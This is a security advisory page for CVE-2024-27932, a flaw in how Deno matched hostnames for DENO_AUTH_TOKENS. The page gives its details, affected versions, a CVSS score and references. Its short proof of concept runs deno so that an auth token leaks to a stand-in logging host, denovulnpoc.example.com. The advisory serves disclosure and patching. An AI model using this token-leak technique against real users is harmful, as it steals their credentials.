CVE-2024-27932
MEDIUM4.6EPSS 0.47%Deno's improper suffix match testing for DENO_AUTH_TOKENS
Description
### Summary Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for `example.com` may be sent to `notexample.com`. ### Details [auth_tokens.rs uses a simple ends_with check](https://github.com/denoland/deno/blob/3f4639c330a31741b0efda2f93ebbb833f4f95bc/cli/auth_tokens.rs#L89), which matches `www.deno.land` to a `deno.land` token as intended, but also matches `im-in-ur-servers-attacking-ur-deno.land` to `deno.land` tokens. ### PoC - Set up a server that logs requests. RequestBin will do. For example, `denovulnpoc.example.com`. - Run `[email protected] deno run https://not-a-left-truncated.domain`. For example, `[email protected] deno run https://denovulnpoc.example.com` - Observe that the token intended only for the truncated domain is sent to the full domain ### Impact _What kind of vulnerability is it? Who is impacted?_ Anyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected.
Affected packages (1)
- crates.io/deno>= 1.8.0, < 1.40.4
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 3.1 | MEDIUM4.6 | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N |
References (5)
- ADVISORYhttps://nvd.nist.gov/vuln/detail/CVE-2024-27932
- PATCHhttps://github.com/denoland/deno
- WEBhttps://github.com/denoland/deno/blob/3f4639c330a31741b0efda2f93ebbb833f4f95bc/cli/auth_tokens.rs#L89
- WEBhttps://github.com/denoland/deno/commit/de23e3b60b066481cc390f459497d5bef42a899b
- WEBhttps://github.com/denoland/deno/security/advisories/GHSA-5frw-4rwq-xhcr